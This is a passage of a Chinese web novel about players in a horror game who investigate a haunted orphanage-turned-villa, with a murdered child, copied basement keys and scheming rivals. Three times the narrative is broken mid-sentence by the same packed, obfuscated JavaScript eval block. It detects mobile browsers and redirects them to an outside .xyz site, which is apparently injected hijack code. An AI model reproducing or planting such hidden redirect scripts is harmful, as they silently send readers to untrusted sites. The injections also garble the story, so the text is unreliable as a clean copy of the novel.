仇辛并不意外,他合上日志放回原位,继续搜查办公室。他拉开办公桌左侧的抽屉,发现其中整齐码放着一大串钥匙,每把钥匙上都贴有编号,如“2-1”“3-2”“B1-1”…… 虞绛的目光顿时锁定其中—— B1开头,这是地下室的钥匙! 7. 看不见的孤儿院(六) 在表世界和里世界中,地下室房间皆被封锁,那里必然藏着不可告人的秘密。 仇辛没有立即拿走钥匙,又继续拉开了最底层的抽屉,里面静静躺着一张老照片。 照片上的背景,与白天度假山庄的大门口极为相似,但色调泛黄,像是十多年前的产物。 门口挂着彩带,一个黑色礼帽的中年胖男人站在正中央,穿着皱巴巴的黑色西装,对着镜头露出和蔼笑容。他身旁站着几个佩戴白色礼帽的男人,年纪三十到六十不等,衣着考究,气度不凡,使得中年胖男人显得尤为格格不入。 照片上方,烙印着几个大字—— “仁心孤儿院开业留影”。 左下角,留了一行小字记录日期:20X0.8.20。 “保险柜密码会不会是0820?”仇辛灵机一动,快步踏进卧室,扑到保险柜前方输入密码。 密码错误。 在两人陷入瓶颈的时候,藏在桌角的小蜡人行动了。 它悄悄绕到了刚打开的抽屉旁,慢慢爬到装有钥匙的抽屉里,细细辨认着B1开头的钥匙。可惜,钥匙环被牢牢锁死,它的身形太小,手脚粗糙不够灵便,无法解开金属圈。 于是,它干脆摊成一块饼,将柔软的身体盖在钥匙上,用自身的蜡质临摹钥匙的形状和齿痕。 这样一来,虞绛就能复刻一模一样的地下室钥匙了。 然而,就在它拖着扁平的、烙印着四把钥匙形状的身子,试图起身的时候,才后知后觉地察觉到,周围安静得可怕。 两个玩家不知何时停止了交谈和动作。 小蜡人怔怔地转过头,陡然对上了一双幽深阴鸷的眸子。 仇辛,正俯身盯着它,那从眼下蜿蜒而过的刀疤,狰狞地绽开了笑意。 “看,竟然溜进来个小偷?”他语调意味深长,眼底却浮现一丝兴味,“看来,除了我们之外,这个副本里还有别的高人呐。” 话音未落,他的手猛然探出,快如闪电,一把攥住小蜡人。蜡人尚未反应过来,下一瞬便被狠狠捏碎! “原来是蜡做的小东西。”仇辛丢开不成型的碎块,玩味一笑,随意擦掉糊在掌心的粘腻蜡油,“倒是个有意思的能力。” 顾弥彦眉头紧锁,深色凝重:“这个副本比我想象中复杂……孤儿院的秘密,山庄的秘密,甚至还有其他的特殊能力者……” 他顿了顿,思索片刻后语气笃定:“不过没关系,明天会有两条新的线索出现。到时候,我们一定能离通关更进一步。” 这两条线索,一条源自他自己的特殊天赋,另一条……则是系统在第四位玩家死亡后给予存活者的馈赠。 顾弥彦心照不宣地略过了后者,但心里仍对仇辛的不择手段有些芥蒂,此刻有些心不在焉。 因而他并未察觉,还有一只小蜡人,悄无声息地绕过他的脚边,趁着院长办公室的门缝尚未闭合,迅速窜了出去。 *** 另一边,刘茵茵看虞绛像是入了定一般,呆呆地看向前方,便耐心地坐下等她回神。 万籁俱静的楼房里,2号房的孩子们不知道游戏已经提前结束,仍在各种犄角嘎达躲藏大怪物,没有人敢提前回到房间。而其余房间的小朋友也屏息凝神,连呼吸声都压抑至极限,生怕引起那团巨大黑影的注意。 然而,在这死寂般的氛围中,刘茵茵敏锐地捕捉到了一丝细微的动静。 很轻,若有若无…… 像是衣物摩擦着地板,指甲划过硬物,又像是某个人被捂住嘴后,勉强泄露出的几声微弱呜咽。 刘茵茵将目光投向了紧闭的卧室门,耳畔仿佛有某种无形的呼唤,让她推门出去一探究竟。 刘茵茵的胆小其实并不是空穴来风,她似乎从小就比其他人拥有更敏锐的“灵感”。比如能看到正常人看不到的“鬼影”,也很容易陷入“鬼打墙”“鬼压床”等灵异现象。 用陆骁的话来说,她是尤其受超自然存在宠爱的“幸运”欧皇……当然,是带着阴间滤镜的那种“幸运”。 此刻,熟悉的“灵感”又一次浮现。她清楚地感知到外面有危险,而未知的危险正在引诱她出去作死。 看一眼就好,一眼…… 鬼使神差的,刘茵茵还是摸上了2号房的门把手,轻轻一扭。 “咔哒。” 门缝微微敞开,一股沉闷而腥甜的味道顿时扑鼻而来。 她抬头,望向漆黑的二楼走廊。 四周静得仿佛什么都没发生过。左右两侧的房门紧闭,唯有走廊尽头那扇门,开了。 浓重的血腥味,正是从那里飘出的。 她该回去的…… 刘茵茵心中警铃大作,可身体却像被无形的线牵引着,明明双腿颤抖不已,却仍控制不住自己,一步、一步地朝着那扇敞开的门走去。 一步,一步…… 终于,她站在了走廊尽头的5号房门口。 下一秒,映入眼帘的,是一幕过于惨烈的画面—— 那是一间无人居住的杂物室。房内,正对着门的墙角处,立着一个狭窄的储物柜。 储物柜的门大开,里面蜷缩着一个六七岁的小女孩。 她的胸口被挖出一个空洞,血泊蔓延在柜门上、地板上,空气中弥漫着浓稠而刺鼻的血腥气。 小女孩的脸蛋本该像个红扑扑的圆苹果,但此刻一双圆溜溜的眼睛死不瞑目地瞪着前方,面部五官因极度的痛苦和惊骇而扭曲,残留着死前的痛苦,绝望和难以置信…… 她的四肢无力地垂落着,指尖残留着挣扎时抠出的血痕,整个身体像是被随意丢弃的玩偶。 刘茵茵寒气窜上脊椎,血液仿佛瞬间冻结,指尖冰凉发颤,双腿止不住地战栗。这一幕凶杀现场太过触目惊心,那股压迫性的血腥和恐怖感几乎要将她吞没,终于后知后觉地意识到一个问题…… 这里是二楼走廊的尽头,沿途房门紧闭,而这个房间里除了这具尸体外,再无其他活物的的痕迹…… 那么,刚刚杀死小女孩的凶手,现在在哪儿?! 一道冰凉的气息悄然贴上她的后颈,仿佛有人近在咫尺地朝她吹了一口寒气。 刘茵茵瞬间汗毛炸立,她僵硬地抬眼,透过储物柜门内侧的镜子,看到了一道臃肿的黑影。 一个高出她一个头的胖男人,正站在她身后,头上戴着一顶歪斜的礼帽。 *** 与此同时,虞绛从远程监控中回过神来。 然而房间里,除了小桑柒依旧躺在床上熟睡,呼吸平稳,刘茵茵却不见了踪影。 虞绛虽然钝感十足,但此时也隐隐生出了一丝不安。 “啊——!!!” 忽然,一道凄厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547528|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的惨叫从走廊深处传来,打破了孤儿院的沉寂。 刘茵茵?! 虞绛神色骤变,猛地起身冲向门口! 然而,就在她指尖触到门把手的瞬间,兜里的怀表发出“哒”的一声脆响,如同一根细长的针狠狠挑动着她的神经。 下一秒,眼前那扇光秃秃的简陋木门宛如老照片般迅速褪色,画面翻转,木纹重新勾勒出精致的细节,粗糙的门板变成了沉稳厚重的深棕色实木门。 她掏出怀表一看,指针刚到01:00,随着捉迷藏的游戏时间结束,她也从里世界的孤儿院回到了现实的度假山庄。 只是,重返现实后怀表又回到坏掉的状态,指针停在1点钟,一动不动。虞绛甚至怀疑,如果她再次拨动指针,副本的时间线又会随之变动。 真是个有趣的道具。 虞绛的动作只停滞了一刻,便直接推开房门,朝着刚才刘茵茵呼救的方向望去。 夜幕低垂,二楼走廊一片幽暗,唯一的光源来自尽头窗户透进的冷淡月光。银辉洒落在地板上,拖出一道朦胧的影子。 若不是整栋楼的布局已经翻天覆地,虞绛甚至还残留着身处孤儿院的错觉,走廊两侧仿佛还是那一间间简陋而狭小的儿童宿舍。 此刻的刘茵茵正对着走廊尽头的5号房,神情恍惚地瘫坐在地,显然还未从惊魂未定的状态中回过神来。 “刚才发生了什么?”虞绛快步走近,见她身上并无明显伤痕,才放下心来。 熟悉的嗓音让刘茵茵猛地回神,她猛然回过头,委屈巴巴地开口:“老板,刚才吓死我了!” 可就在她说出口的瞬间,她的表情陡然凝固。 眼前人的穿着的确是虞绛的白T恤和工装裤,可那张脸……短发、浓眉、轮廓分明,不正是自己的好友陆骁吗?! “啊啊啊啊你谁?!” 刘茵茵还没从刚才凶险又诡谲的氛围中缓过来,她确信陆骁不该出现在这个副本里,下意识觉得自己又撞了鬼! 还是那种,会变换人脸、哄骗猎物放松戒备后再一口生吞的厉鬼! 虞绛也才后知后觉地发现,回到度假山庄后的自己,易容效果又恢复了。 她无奈地摁住刘茵茵的肩膀:“我不是告诉过你,这把游戏我顶替了你朋友的身份吗?专业代练,坐等躺赢,不记得了?” 刘茵茵愣了一两秒,终于想起这回事,这才猛地一拍脑门:“对哦!” 确认眼前人真是救了自己两次的大佬,她瞬间找回安全感,连忙一股脑地把刚才的遭遇倒了出来。 “那个小女孩死得可惨了!像个破碎的娃娃一样塞进柜子里,胸口被硬生生洞穿,心脏被生生剖走,太血腥太可怕了!” 说到这,刘茵茵仍觉得胃里一阵翻涌,她强忍着不适继续道:“后来,我……我透过镜子看到,凶手就在我身后!那是个臃肿的胖男人,戴着宽大的帽子,站得特别近……当时我心都提到嗓子眼了!” “还好,我下一秒就回到了现在这个世界,凶手也随之消失了!” 她说着,狠狠拍了拍胸口,试图平复自己的情绪:“真的太险了!幸好卡在了游戏结束的时间,要是我在孤儿院多待上几秒,他一定会杀我灭口的!” 虞绛则歪了歪头,敏锐地捕捉到了几个关键词: “臃肿的,戴帽子的,胖男人?” 8. 看不见的孤儿院(七) 刘茵茵口中的凶手特征,跟院长办公室抽屉的那张老旧合影上,站在最中间的男人如出一辙。 虞绛几乎可以认定,这个男人就是孤儿院的院长。他不仅站在合影的最中间,臃肿的身形也能和院长卧室宽大的西装对上。 只不过,孩子们口中会剖心的,明明是捉迷藏游戏中的大怪物。昨晚,她亲自吞噬了那块巨大黑影,即使本体不在,它也不可能在这么短的时间内死而复生。 可就在同一个晚上,有一个躲在衣柜里的孩子被院长逮住,被施加了同样的剖心恶行。 为什么院长要这么做? 会吃小孩心脏的,到底是那团名为“大怪物”的恐怖黑影,还是有着人类身份的衣冠禽兽? “啊!脑子要烧起来了!”虞绛烦躁地揉了揉额角,智力解密对蜡像人太不友好了。 就在这时,远处传来一阵“哒哒哒”的脚步声。 黑暗中,一个小蜡人飞快地摆动着小短腿,从楼梯口狂奔而来,焦急地比划着。 “我们得回房间了,那两个玩家下来了,没必要现在跟他们撞上。”虞绛读懂了小蜡人的通风报信。 “那两个混蛋,大家都是玩家,竟然设局拿我祭天!”说起那两个人,刘茵茵就气不打一处来。她怕鬼可不怕人,恨不得现在就撸起袖子上去干一架。 虞绛恹恹地打了个哈欠:“今晚不会再出事了,回去睡觉吧,有仇明天再报。” 说着,她便不紧不慢地走回了楼梯口的房间。刘茵茵狠狠打了个寒颤,看着漆黑的走廊,终究没胆量一个人待着,连忙追上了虞绛的脚步,打定主意今晚死皮赖脸地缠着她睡觉。 刚踏进房门,外面就传来了急促凌乱的脚步声,夹杂着几声压抑的咒骂。 “妈的,那娘们儿可真邪门!”仇辛狠狠啐了一口。 “幸好我们在空间转换前出了门,不然……”顾弥彦心有余悸,喉结滚动了一下,低声道,“我怕她再关起门来揍我们一顿。” 两分钟前,他们不再纠结院长办公室里的保险柜,因为仇辛意识到捉迷藏时间快要到了。两人不知道游戏结束会发生什么,便谨慎地提前走出了房门。 然而,当副本空间转换后,院长办公室在现实世界的位置,已经被桑柒的卧室取代。 他们还没适应环境变化,房门却猛然被人推开。 “轰——” 年轻病弱的千金小姐,穿着一身灰色真丝睡衣,瘦削的脸颊没有血色,眼眶深深凹陷,眼下一片乌青,浑身散发着一股暴躁又危险的气息。 “我有没有跟你们说过,不——要——擅自上三楼打扰我?!” 桑柒声音不高,却蕴藏着压抑的怒火。 仇辛和顾弥彦刚要解释,下一秒,一道劲风迎面袭来。 “砰!” 毫无预兆的重拳袭来,以和她身体素质反差极大的速度和力道,将两人狠狠掀翻在地! “操!”仇辛踉跄着想站起来,却被桑柒一个凶狠的回旋踢逼得连连后退。 他们还没站稳,便迎来了桑柒的下一波攻势。 “她不是病秧子吗?!这力气不对劲啊!”顾弥彦一时不慎,没能避开桑柒凌厉的一记滑铲,结结实实地摔了个狗啃泥。 最终,两人被迫打起十二分精神,竭力闪躲桑柒狂风骤雨般的拳打脚踢。直至身上都挂了彩,这才堪堪逃到楼梯口,连滚带爬地逃回二楼。 确认两人离开了三楼,桑柒没再追击,只是站在楼梯口居高临下地俯视着他们,眼底是一片冷漠的蔑视。 “她这是起床气?还是被别人惹毛了,拿我们当沙包泄愤呢?”顾弥彦扶着隐隐作痛的右腿,产生了一个奇异的猜想。 “别想了,早点休息吧。我有预感,明天可能更不好过。”仇辛也揉了揉被铁拳击中的下巴,径直推开了虞绛对面的房门。 兵荒马乱的一夜终于消停,众人各怀心思,沉沉睡去。 *** 翌日清晨,明亮的阳光透过落地窗,照在睡得四仰八叉的虞绛脸上。她不情不愿地睁开眼,在初醒的短暂恍惚间,竟险些生出自己正身处某处度假胜地,而非一场惊悚副本的错觉。 刘茵茵已经起床,正忧桑地看着她的个人面板。 【玩家姓名:刘茵茵 等级:Lv1 力量值:20点(非常羸弱) 速度值:20点(非常迟钝) 生命值:20点(非常脆皮) 精神力:10点(超级胆小呢!) 特殊天赋:暂未发现 特殊成就:暂无】 太弱了!还得好好努力提高面板数据啊! 昨晚的惊心时刻让她警觉,即使抱紧虞绛的大腿,也难免遭遇精神类袭击,提高自己才是正道。 简单收拾后,两人推门而出,准备下楼用餐。 巧合的是,对面和隔壁的两间房门几乎在同一时刻打开。 顾弥彦和仇辛分别出现在了门口,目光落在虞绛和刘茵茵身上,皆是一愣,旋即彼此交换了一个意味深长的眼神。 仇辛对此并不意外,毕竟他的特殊天赋便是感知其他玩家的位置。昨夜,他虽忙于探索孤儿院未曾细查,但今晨醒来,第四位玩家的信号依旧存在。 并且,赫然显示在“陆骁”的房间内。 相比之下,顾弥彦的反应更为直白,他目光在从同一房间里走出的小白脸“陆骁”和清秀陌生女人之间流转,神色微妙。 虞绛对此毫不在意,一心惦记着别墅的豪华早餐。但刘茵茵不同,她还是个藏不住情绪的大学生,一想到自己差点死在这两个男人手里,眼底便压不住怒火。 然而,考虑到自己孱弱的战力,她心虚地抱紧虞绛的胳膊,狐假虎威般给自己壮胆。 只是,这一幕落在仇辛与顾弥彦眼中,却呈现出截然不同的意味。 四人默契地保持沉默,一同下楼。 途中,顾弥彦压低声音询问:“这女人难道也是玩家?但她不是被你……” 仇辛沉声回应:“是她。我们可能捏错了软柿子。没想到这个看着初出茅庐的小丫头,竟能在那只怪物手里逃生。我怀疑昨晚跟着我们潜入院长办公室的蜡人也是她的手笔……总之,这个新来的丫头,是个深藏不露的狠角色。” 顾弥彦若有所思地点点头,随即轻嗤一声,语带揶揄:“怪不得他们睡一个房间。我昨晚还纳闷着陆骁怎么没露面,合着是甘愿当个小白脸,靠抱女人大腿安然过夜?” 仇辛目光微沉,昨日的失手令他心有不甘,但他已有新的考量:“既然这丫头是块难啃的硬骨头,那我们今天就拿那个姓陆的开刀。” 顾弥彦未再反驳,短短一夜,他已默默接受用玩家姓名换取线索的手段。 与此同时,他们口中的“软柿子”虞绛与“硬骨头”刘茵茵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547529|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已在餐桌前坐下大快朵颐。 桌上摆满了热腾腾的早餐,甚至连馒头都被精心雕琢成惟妙惟肖的动物形态,让人食指大动。 “这位小姐,不会就是第四位玩家吧?”顾弥彦换上一贯温和的笑容,向刘茵茵自我介绍,“你好,我叫顾弥彦,这位是仇辛。既然大家都到齐了,不如一起交换线索,合作通关?” 好一个伪君子! 刘茵茵不屑地撇了撇嘴,没有说话。 倒是虞绛若有所思地开口:“昨天下午突然就天黑了,整栋楼变成了一座破旧的孤儿院,还有怪物……真是吓死我了!对了,昨晚你们有什么发现吗?” 刘茵茵忍不住默默吐槽……虞老板你这张毫无波澜的脸,这副刚睡醒的样子,压根看不出有被吓到的迹象吧? 而且,这打探消息的手法未免太直白了点吧! 出乎意料的是,仇辛竟直接回答:“我们昨晚去了趟三楼,怀疑所谓的孤儿院……在做一些见不得光的勾当。” 在虞绛探究的目光下,他继续道:“三楼的老师大多都是孕妇,而我昨天下午探索侧楼的时候,发现那里也残留了一些儿童用品,甚至墙壁上还有烧焦的痕迹……” 仇辛刻意隐去院长房间的线索,抛出了侧楼的信息作为诱饵。 顾弥彦亦适时补充:“我昨天下午也查探了花园,结果在假山旁的草地里,发现了一堆孩童的白骨。” 刘茵茵忍不住开口:“难道,这个孤儿院一直在迫害小孩子?不对啊,那为什么还有那么多老师怀孕?她们舍得让自己的孩子生下来送死? 众人闻言也陷入沉思,现在的线索太多太杂乱,还没法从中理出来龙去脉。 顾弥彦打破沉默,目光转向虞绛,似笑非笑地问道:“陆骁你呢?昨天在地下室发现了什么?” 虞绛微微一顿,似是认真回忆了一番,才慢悠悠地开口:“所有房间都被锁住了,我没发现什么有用的线索。” 仇辛眸色微闪,目光锁定了虞绛: “既然你们昨天没发现什么有价值的线索,可能对副本的关键信息还不够敏感。我建议我们今天分成两组行动——我和陆骁兄弟一组,顾弥彦和新玩家一组,每组都有一个熟悉副本地图的玩家带队,这样行动起来更有效率。” 刘茵茵闻言,立刻像只炸毛的小猫,猛地绷紧了身子。她才不信这些人是出于“效率”考虑!明显是想把她和虞绛分开,趁机动什么歪脑筋! “好啊!”然而,虞绛却毫不犹豫地答应了,还吸溜了一口蛋黄包的流心,一点也不在意刘茵茵的小情绪。 仇辛瞥见虞绛答应得如此干脆,嘴角微不可察地勾起一丝笑意。这个小白脸看着孱弱、愚蠢、好拿捏,昨晚能活下来,八成是靠抱大腿和狗屎运。 这一次,他可不会再失手。 “不过,下午再行动吧。”虞绛心满意足地舔了舔嘴角,眼底闪过一丝惬意,“万一又像昨天那样突然切换到里世界,总得先吃午饭,好歹能多撑一会儿。” 顾弥彦嗤笑一声,他现在愈发看不惯这个仗着女人混吃等死的小白脸了。 “行吧,那我们饭后再见。上午就自由活动。”仇辛笑着拍板,语气自然得仿佛他们真的是一支精诚合作的队伍。 虞绛吃饱喝足,眯起眼睛,若有所思地望向通往三楼的楼梯。 她打算不信邪,亲自去会一会这座山庄的主人——桑柒。 9. 看不见的孤儿院(八) 虞绛背着手在别墅一楼转了一圈,最终在厨房里找到了正在忙碌的女佣小青。 “小青妹妹~”她趁着小青摆放餐盘的间隙,悄然靠近,单手撑墙,将人困在方寸之间。 “陆……陆先生?你怎么在这?”小青一看到近在咫尺的英俊脸庞,小圆脸瞬间涨得通红,像只数透的红苹果。只是想到昨天被他抽搐的眼皮吓得半死,仍是心有余悸。 “特意来找你啊!”虞绛笑得格外自然,眼神却忍不住往餐盘上瞟,“这是桑柒小姐的早餐?” 小青点了点头,又关切地问:“对了,你的眼睛好点了吗……昨天,我可能反应过度了,说了不太礼貌的话,真不好意思。” “没事没事,我当时就是抽了个筋。”虞绛想到昨天的翻车场景,干笑一声,随后话锋一转,“要不这样吧,你如果觉得抱歉,那不如让我帮你把早饭端过去?” “啊这……”小青猜到虞绛的想法,但终究抵不过她湿漉漉的狗狗眼,叹了口气道:“好吧……不过小姐喜静,不喜欢别人打扰。陆先生你若有事想问,尽量简短一点。” “收到!”虞绛高兴地端起餐盘,正准备离开,又突然来了兴致,“对了,你家小姐……脾气暴躁吗?” 小青闻言一愣,随即摇头:“怎么会呢?桑柒小姐只是冷淡了些,但对下人一向温柔,从未发过脾气。” “这样啊……”虞绛若有所思地端着早餐走出厨房。 门外,刘茵茵见虞绛这么容易得手,忍不住在心里感慨。原本以为虞老板只有一双打怪的铁拳,没想到竟然能文能武! 虞绛低声交代:“我上去找桑柒打探消息,你回房顺便盯着那两个玩家,别让他们捣乱。” 刘茵茵白天可不怕单独行动,愉快地比了个ok的手势,兴冲冲地回了二楼。 而虞绛则端着丰盛的早餐,一步步走上三楼,一边琢磨小青的话。 这么温柔的千金小姐,为什么会仅仅因为有人上楼,就对两个大男人穷追不舍、狂暴乱揍呢? 难道,真像顾弥彦猜测的那样,她当时只是心情不好? 三楼的走廊与二楼格局相似,两侧共有五间房,而桑柒的房间,就在走廊尽头。 虞绛走到门前,抬手敲了敲门,一个气若游丝的女声响起:“进。” 她推门而入,入目便是奢华精致的书房,厚厚的天鹅绒地毯铺满地面,茶几和沙发无处不精美,墙上甚至悬挂着不菲的画作。 壁炉燃烧,温暖充盈着整个房间。桑柒正披着羊毛毯,半躺在一张镶嵌宝石的躺椅上,静静地翻阅着手中的书籍。 “桑柒小姐,我替女佣送早餐来了。”虞绛故技重施,按照论坛热帖上“清纯男大”风格描述,展露了一个阳光的笑容。 桑柒微微抬眼,狭长的眸子淡淡扫过她的脸,目光带着一丝探究。 “我没见过你。小青呢?” “小姐,我们昨天午饭前见过的啊!我是您招募来破除梦魇的勇士之一!”虞绛干巴巴地解释,“小青崴了脚,我看不过去,才帮她送饭。” 桑柒闻言没再多问,示意她放下餐盘便可离开。 糟糕!陆骁这张脸没有发挥作用,“清纯男大”只能拿捏小青,在桑柒这儿完全没影响力! 虞绛脑筋飞快运转,琢磨着怎么留下来再探点线索,尤其是桑柒与孤儿院的关系。然而,蜡像脑子都快烧穿了也没想到合适的借口。 就在这时,桑柒突然剧烈咳嗽起来,伸手按住胸口,声音虚弱:“药……给我药!茶几上的蓝色药瓶,快点!” 虞绛立刻上前,拿起药瓶,与餐盘里的牛奶一并递过去。桑柒急忙倒了两片白色药片,就着牛奶咽下,过了好一会儿,呼吸才逐渐平稳。 趁着她喝奶的间隙,虞绛顺手将药瓶放回茶几上——同时,不动声色地倒出两片药,悄然藏进袖子里。 如果晚上再见到幼年版桑柒发病,她手里就有药了。 桑柒慢悠悠地喝着牛奶,目光落在虞绛身上,忽然开口:“昨天,有人影响了山庄的时间。明明是下午,一瞬间却跳到了午夜十二点。” 她抬眸看向虞绛,语气平淡:“你知道是谁干的吗?” 虞绛眼神不由自主地乱飘:“不、不知道……谁啊?还有这种能力吗?哈哈……” 桑柒轻笑了声,低头继续翻书:“随便问问。你走吧。” 虞绛心里犯嘀咕,明明夜里已经跟桑柒很熟了,虽然是缩小版的,但白天面对成人版桑柒时,却莫名有种无力招架的感觉。 她那双狭长的凤目,蕴含着难以揣测的情绪,盯着自己时,总让人有种无所遁形的错觉。 虞绛不喜欢这种感觉,于是果断放弃继续打探消息,老老实实退出房门。 不过,小青果然没说错,白天的桑柒温柔和善,和夜晚的她判若两人。 她百无聊赖地回到二楼,望着两侧紧闭的房门,慢慢将目光锁定在二楼尽头的5号房。 玩家只有四个,二楼却有五个房间…… 她大致猜到5号房里住的,是谁了。 不一会儿,安静的二楼响起震天的敲门声,虞绛大有一种“不开就砸门”的气势。 最终,发丝凌乱的男人忍无可忍地拉开房门,迎面便撞上虞绛那副“果然是你”的表情。 没错,住在5号房的,正是那个任凭副本风起云涌、天翻地覆,都绝不掺和其中的劳模修理工。 裴翎的脸色顿时阴沉下来,还未开口,虞绛已经熟练地一溜烟钻进房间。 “我先声明!”她一屁股瘫在沙发上,摊成一个大字,“我知道你一向遵守规则,不爱多管闲事。所以这次,我只是来找你下单的!” 裴翎揉了揉眉心:“桑柒交给我修理的怀表,是你偷的吧?” 虞绛的眼珠心虚地乱转:“没有啊!不是我!别瞎说!” 裴翎瞥了她一眼,并未说破,只是淡淡道:“你想下什么单?” 虞绛掏出一块扁平的蜡,上面刻印着四把钥匙的形状,那正是小蜡人从院长办公室拓印下来的地下室钥匙。 虽然拓印的原件被仇辛销毁,但他并不知道,蜡人与虞绛共感。小蜡人拓印的时候,虞绛便已将钥匙的形状牢牢记住。 “我要你帮我做4把钥匙,做好后交给刘茵茵!”虞绛不客气地说。 裴翎不假思索:“8000心跳值。” “你怎么不去抢?!”虞绛差点从沙发上跳起来,作为全服最穷的副本boss,一提到钱根本无法淡定! 裴翎好整以暇地翘起了二郎腿:“公平交易,童叟无欺。” 虞绛撑着脸颊沉思,忽然眼珠一转,笑眯眯道:“要不这样,我这儿有个价值不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547530|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菲的工艺品,可以当定金。剩下的钱,等我通关副本后给你。” 裴翎皱眉:“我凭什么相信你能通关副本?” “你要是不同意,我就只好告诉桑柒,你弄丢了她交给你维修的怀表。”虞绛叉着腰,得意地俯视着他。 裴翎的脸色顿时黑了。 “那就这么定了,这是我的定金!”虞绛趁他爆发前,变戏法般放下一个白色礼盒,随即风一般逃向门口。 “等等!”裴翎叫住了她,犹豫再三还是叮嘱道:“我提醒你,系统不允许副本外NPC干涉游戏进程,虽然内测阶段只靠人脸识别玩家身份,但如果副本内的NPC若起疑,随时可以举报。一旦被系统查出来,会触发游戏npc的处罚机制。” 他顿了顿,语气微冷:“情节严重的,甚至会直接抹杀。你……别玩过火了,好自为之!” 虞绛从门缝探出一个头,若有所思地回道:“裴翎,你一直活得这么循规蹈矩,不累吗?规则难道一定是正确的?” 她循循善诱,似是恶魔低语:“你难道不想知道,如果能挣脱npc的设定和规则,真正的你是什么样子的?” 说完,她这次是真的离开了,只留下裴翎一个人愣在原地,望着她跳脱的背影,眼中闪过一抹难以察觉的艳羡。 可以异想天开,想做什么就做什么,不必考虑后果…… 他打开虞绛留下的盒子,一个小蜡人从中翻身而起,随后举起蜡制的小臂,表示自己能搬能抗。 而盒子里的另一个东西,却让他的眼神微微一滞。 什么价值不菲的工艺品,明明只是给了他两个选项…… 他垂眸,看向自己右臂的机械义肢。不遵守规则的苦果,他已经尝够了。 未来,他不会给自己第二次肆意妄为的机会了。 *** 白天的副本十分平静,不知不觉已经来到了午饭时间。 顾弥彦刚落座,便迫不及待地找身边的仇辛商量:“第二条线索来了——孤儿院的秘密藏在地下室的房间里。” 仇辛捏紧了拳头,面色阴沉:“该死,昨晚太匆忙,竟然没来得及把那一大把钥匙带走!” “那现在怎么办?”顾弥彦追问。 仇辛沉吟片刻,眼中闪过一抹狠厉的光:“没关系,地下室的钥匙在院长办公室,等到午夜,就能解开孤儿院的谜底了。到时候再把大怪物烧死,我们就能达成优秀通关条件。” “至于等会儿……”他的声音更低了一分,“按照原计划,我会把陆骁引到侧楼干掉,那里我已经摸透了,这次一定万无一失。至于刘茵茵,她的底细还不清楚,你别和她起冲突。去地下室也好,去花园也罢,总之拖住她就行。” 顾弥彦点了点头,目光缓缓转向从楼梯上走下来的虞绛和刘茵茵。 与第一天时温和端方的笑意不同,他的眼神已然变得冷漠而精明。 这顿午餐吃得格外沉默。 仇辛大口咬下一块排骨,粗暴地咀嚼吞咽了几下,便放下刀叉。 他抹了抹嘴,语气随意地开口:“陆骁兄弟,我刚想起来,侧楼的墙上残留着一些我看不懂的印记……要不你跟我先去看看?像你这种大学生,解谜应该比我在行。” 虞绛也顺势放下刀叉,正对上他的目光,嘴角微微勾起:“好啊,那就走吧。” 10. 看不见的孤儿院(九) 虞绛跟在仇辛身后,穿过别墅外的小径,走向西侧的侧楼。这栋两层的小洋楼,外立面甚至比主楼还要新,看上去翻修过。 午后的阳光炙热难耐,蜡像人比常人更怕热,虞绛只觉浑身像要融化了一般,立刻加快步伐,毫不犹豫地冲进了侧楼的小门。 屋内光线骤暗,扑面而来一股略显潮湿的木头气息。入门是一条略短于主楼的走廊,两侧是佣人们的寝室。 此刻正值工作时间,大多数人都在外面忙碌,整栋小楼静得有些渗人。走廊尽头的楼梯通往二楼,而地面铺着厚厚的地毯,看不出有什么异常。 “你说的奇怪印记在哪里?”虞绛开门见山,透这一丝不耐烦。 仇辛不紧不慢地走到楼梯旁,手腕一翻,亮出一把锋利的小刀,在墙纸上轻轻刮了几下。薄薄的白色暗纹墙纸随即破裂,露出底下焦黑的墙面。 “看样子,这栋楼曾被大火烧毁过,后来才重新修缮。”仇辛解释道,“所以,我觉得这里一定藏着比主楼更不见光的秘密。” 虞绛挑了挑眉,语气兴致缺缺:“就这?” 这条线索可不值得她丢下午餐的猪肘子特意跑一趟。 仇辛笑了笑,目光幽深地盯着她,像极了锁定猎物的猎豹。他没有再解释,而是转身蹲到楼梯口边缘,抬手指向最下面的台阶。 “然后,我在这儿发现了这个印记。” 台阶侧面画着一个红色十字架,与昨晚孤儿院一楼的舞台上的如出一辙。 仇辛抽出小刀,沿着楼梯口的木地板缝隙狠狠一插,顺着纹理用力一撬。 “咔哒”一声,一块木板被撬起,但底下却不是水泥地面,反而露出了一个幽深漆黑的洞口。 虞绛微微一愣。这栋看似只有两层的小楼,竟然还隐藏着地下室? 